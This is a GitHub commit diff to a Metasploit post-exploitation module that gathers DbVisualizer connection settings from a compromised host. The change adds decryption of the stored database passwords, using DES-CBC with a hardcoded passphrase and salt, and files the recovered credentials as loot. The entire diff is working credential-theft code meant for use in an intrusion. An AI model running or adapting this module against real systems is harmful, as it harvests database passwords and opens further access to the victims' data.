Skip to content

Commit bb444a8

Browse files
committed
Land rapid7#5429, Decrypt encrypted passwords in DBVisualizer
2 parents 737559b + 17c0af6 commit bb444a8

File tree

1 file changed

+96
-56
lines changed

1 file changed

+96
-56
lines changed

modules/post/multi/gather/dbvis_enum.rb

Lines changed: 96 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55

66
require 'msf/core'
77
require 'msf/core/auxiliary/report'
8+
require 'openssl'
9+
require 'digest/md5'
810

911
class Metasploit3 < Msf::Post
1012

@@ -17,25 +19,29 @@ def initialize(info={})
1719
'Name' => 'Multi Gather DbVisualizer Connections Settings',
1820
'Description' => %q{
1921
DbVisualizer stores the user database configuration in dbvis.xml.
20-
This module retrieves the connections settings from this file.
22+
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
2123
},
2224
'License' => MSF_LICENSE,
2325
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
2426
'Platform' => %w{ linux win },
2527
'SessionTypes' => [ 'meterpreter', 'shell']
2628
))
29+
register_options(
30+
[
31+
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
32+
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
33+
], super.class)
2734
end
2835

2936
def run
3037

31-
3238
oldversion = false
3339

3440
case session.platform
3541
when /linux/
36-
user = session.shell_command("whoami").chomp
42+
user = session.shell_command('whoami').chomp
3743
print_status("Current user is #{user}")
38-
if (user =~ /root/)
44+
if user =~ /root/
3945
user_base = "/root/"
4046
else
4147
user_base = "/home/#{user}/"
@@ -50,11 +56,10 @@ def run
5056
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
5157
end
5258

53-
5459
unless file?(dbvis_file)
5560
# File not found, we next try with the old config path
5661
print_status("File not found: #{dbvis_file}")
57-
print_status("This could be an older version of dbvis, trying old path")
62+
print_status('This could be an older version of dbvis, trying old path')
5863
case session.platform
5964
when /linux/
6065
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
@@ -68,7 +73,6 @@ def run
6873
oldversion = true
6974
end
7075

71-
7276
print_status("Reading: #{dbvis_file}")
7377
print_line()
7478
raw_xml = ""
@@ -89,20 +93,14 @@ def run
8993
end
9094

9195
if db_table.rows.empty?
92-
print_status("No database settings found")
96+
print_status('No database settings found')
9397
else
94-
print_line("\n")
98+
print_line
9599
print_line(db_table.to_s)
96-
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
100+
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
97101
print_line()
98-
# store found databases
99-
p = store_loot(
100-
"dbvis.databases",
101-
"text/csv",
102-
session,
103-
db_table.to_csv,
104-
"dbvis_databases.txt",
105-
"dbvis databases")
102+
# Store found databases in loot
103+
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
106104
print_good("Databases settings stored in: #{p.to_s}")
107105
end
108106

@@ -111,12 +109,11 @@ def run
111109
print_good "dbvis.xml saved to #{p.to_s}"
112110
end
113111

114-
115112
# New config file parse function
116113
def parse_new_config_file(raw_xml)
117114

118115
db_table = Rex::Ui::Text::Table.new(
119-
'Header' => "Dbvis Databases",
116+
'Header' => "DbVisualizer Databases",
120117
'Indent' => 2,
121118
'Columns' =>
122119
[
@@ -126,18 +123,19 @@ def parse_new_config_file(raw_xml)
126123
"Port",
127124
"Database",
128125
"Namespace",
129-
"Userid",
126+
"UserID",
127+
"Password"
130128
])
131129

132130
dbs = []
133131
db = {}
134132
dbfound = false
135-
versionFound = false
133+
version_found = false
136134
# fetch config file
137135
raw_xml.each_line do |line|
138136

139-
if versionFound == false
140-
vesrionFound = find_version(line)
137+
if version_found == false
138+
version_found = find_version(line)
141139
end
142140

143141
if line =~ /<Database id=/
@@ -157,37 +155,43 @@ def parse_new_config_file(raw_xml)
157155

158156
if dbfound == true
159157
# get the alias
160-
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
158+
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
161159
db[:Alias] = $1
162160
end
163161

164162
# get the type
165-
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
163+
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
166164
db[:Type] = $1
167165
end
168166

169167
# get the user
170-
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
171-
db[:Userid] = $1
168+
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
169+
db[:UserID] = $1
170+
end
171+
172+
# get user password
173+
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
174+
enc_password = $1
175+
db[:Password] = decrypt_password(enc_password)
172176
end
173177

174178
# get the server
175-
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
179+
if line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i
176180
db[:Server] = $1
177181
end
178182

179183
# get the port
180-
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
184+
if line =~ /<UrlVariable UrlVariableName="Port">([\S+\s+]+)<\/UrlVariable>/i
181185
db[:Port] = $1
182186
end
183187

184188
# get the database
185-
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
189+
if line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i
186190
db[:Database] = $1
187191
end
188192

189193
# get the Namespace
190-
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
194+
if line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i
191195
db[:Namespace] = $1
192196
end
193197
end
@@ -196,40 +200,40 @@ def parse_new_config_file(raw_xml)
196200
# Fill the tab and report eligible servers
197201
dbs.each do |db|
198202
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
199-
print_good("Reporting #{db[:Server]} ")
203+
print_good("Reporting #{db[:Server]}")
200204
report_host(:host => db[:Server]);
201205
end
202206

203-
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
207+
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
204208
end
205209
return db_table
206210
end
207211

208-
209212
# New config file parse function
210213
def parse_old_config_file(raw_xml)
211214

212215
db_table = Rex::Ui::Text::Table.new(
213-
'Header' => "Dbvis Databases",
216+
'Header' => 'DbVisualizer Databases',
214217
'Indent' => 2,
215218
'Columns' =>
216219
[
217-
"Alias",
218-
"Type",
219-
"Url",
220-
"Userid",
220+
'Alias',
221+
'Type',
222+
'URL',
223+
'UserID',
224+
'Password'
221225
])
222226

223227
dbs = []
224228
db = {}
225229
dbfound = false
226-
versionFound = false
230+
version_found = false
227231

228232
# fetch config file
229233
raw_xml.each_line do |line|
230234

231-
if versionFound == false
232-
vesrionFound = find_version(line)
235+
if version_found == false
236+
vesrion_found = find_version(line)
233237
end
234238

235239
if line =~ /<Database id=/
@@ -243,48 +247,84 @@ def parse_old_config_file(raw_xml)
243247

244248
if dbfound == true
245249
# get the alias
246-
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
250+
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
247251
db[:Alias] = $1
248252
end
249253

250254
# get the type
251-
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
255+
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
252256
db[:Type] = $1
253257
end
254258

255259
# get the user
256-
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
257-
db[:Userid] = $1
260+
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
261+
db[:UserID] = $1
258262
end
259263

260-
# get the user
261-
if (line =~ /<Url>([\S+\s+]+)<\/Url>/i)
262-
db[:Url] = $1
264+
#get the user password
265+
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
266+
enc_password = $1
267+
db[:Password] = decrypt_password(enc_password)
263268
end
269+
270+
# get the server URL
271+
if line =~ /<Url>(\S+)<\/Url>/i
272+
db[:URL] = $1
273+
end
274+
264275
end
265276
end
266277

267278
# Fill the tab
268279
dbs.each do |db|
269-
if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
280+
if (db[:URL] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
270281
if ::Rex::Socket.is_ipv4?($1.to_s)
271282
print_good("Reporting #{$1}")
272283
report_host(:host => $1.to_s)
273284
end
274285
end
275-
db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ]
286+
db_table << [ db[:Alias] , db[:Type] , db[:URL], db[:UserID], db[:Password] ]
276287
end
277288
return db_table
278289
end
279290

280-
281291
def find_version(tag)
282292
found = false
283-
if (tag =~ /<Version>([\S+\s+]+)<\/Version>/i)
284-
print_good("DbVisualizer version : #{$1}")
293+
if tag =~ /<Version>([\S+\s+]+)<\/Version>/i
285294
found = true
295+
print_good("DbVisualizer version: #{$1}")
296+
end
297+
found
298+
end
299+
300+
def decrypt_password(enc_password)
301+
enc_password = Rex::Text.decode_base64(enc_password)
302+
dk, iv = get_derived_key
303+
des = OpenSSL::Cipher.new('DES-CBC')
304+
des.decrypt
305+
des.key = dk
306+
des.iv = iv
307+
password = des.update(enc_password) + des.final
308+
end
309+
310+
def get_derived_key
311+
key = passphrase + salt
312+
iteration_count.times do
313+
key = Digest::MD5.digest(key)
286314
end
287-
return found
315+
return key[0,8], key[8,8]
316+
end
317+
318+
def salt
319+
[-114,18,57,-100,7,114,111,90].pack('C*')
320+
end
321+
322+
def passphrase
323+
datastore['PASSPHRASE'] || 'qinda'
324+
end
325+
326+
def iteration_count
327+
datastore['ITERATION_COUNT'] || 10
288328
end
289329

290330
end

0 commit comments

Comments
 (0)